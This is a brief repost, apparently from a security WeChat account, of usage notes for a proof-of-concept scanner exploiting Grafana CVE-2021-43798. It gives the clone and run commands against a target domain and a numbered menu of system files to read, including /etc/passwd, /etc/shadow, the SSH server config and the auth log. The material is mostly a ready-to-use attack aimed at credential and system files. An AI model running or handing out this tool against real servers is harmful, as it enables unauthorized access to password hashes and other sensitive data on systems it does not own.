Grafana CVE-2021-43798 POC

git clone https://github.com/FAOG99/GrafanaDirectoryScanner.gitcd GrafanaDirectoryScanner

python3 GrafanaDirectoryScanner -d dominio.com -p 80 -f 1

Los archivos disponibles para buscar son los siguientes:

1 - /etc/passwd

2 - /etc/shadow

3 - /etc/ssh/sshd_config

4 - /var/log/auth.log

5 - /var/www

Por ejemplo, si quieres buscar el archivo /etc/passwd, debes usar -f 1.

项目地址：https://github.com/FAOG99/GrafanaDirectoryScanner

原文始发于微信公众号（Ots安全）：Grafana CVE-2021-43798 POC